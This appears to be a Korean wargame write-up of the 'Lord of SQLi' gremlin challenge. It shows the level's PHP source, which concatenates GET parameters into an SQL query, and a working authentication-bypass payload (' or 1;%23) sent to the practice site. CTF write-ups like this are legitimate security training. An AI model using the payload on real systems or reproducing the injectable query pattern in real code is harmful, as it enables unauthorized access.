Lord of SQLi - gremlin

> query : select id from prob_gremlin w here id=” and pw =”

```
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>
```

- GET 방식으로 파라미터를 넘겨주고 있다.
- id와 pw 둘 다 prob, _, ., () 문자만 필터링 하고있다. 문제의 DB를 공격하여 DB를 수정하는 것을 막는다.
- 위의 내용을 제외한 필터링은 존재하지 않는다.

> select id from prob_gremlin w here id=” and pw ="
> 위 쿼리를 DB에 전송하여 테이블 내의 항목중 'id'컬럼에 어떤 값이라도 반환된다면 문제가 풀린다.
> 보통 워게임에서 권한을 탈취해야하는 ID 는 주로 'admin'이지만 이번 문제는 ID가 'admin'이라는 것을 모른다는 가정하에 풀어보겠다.

- 우선 GET방식으로 id=asdf&pw =asdf 를 전달하면

```
<?php
$_GET[id]='asdf';
$_GET[pw]='asdf';
?>
```

- 이런식으로 슈퍼전역변수가 선언된다. 이때의 쿼리는 아래와 같이 선언된다.

```
<?php
$query = "select id from prob_gremlin where id='asdf' and pw='asdf'";
?>
```

- 아무런 필터링이 없는 것을 이용하여 ID에 single quote와 mysql의 한줄주석을 뜻하는 문자인 '#'를 이용하여 문제를 풀어보겠다.
- ID에 " ' or 1;%23 " 을 GET 방식으로 전달해보았다.

> query : select id from prob_gremlin w here id=” or 1#’ and pw =”

- 이렇게 되면 prob_gremlin 테이블에있는 id가 없거나 모든 아이디중에서 가장 위에 있는 결과값을 가져오게 된다.

payload

> URL : http://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=' or 1;%23

> query : select id from prob_gremlin w here id=” or 1;#’ and pw =”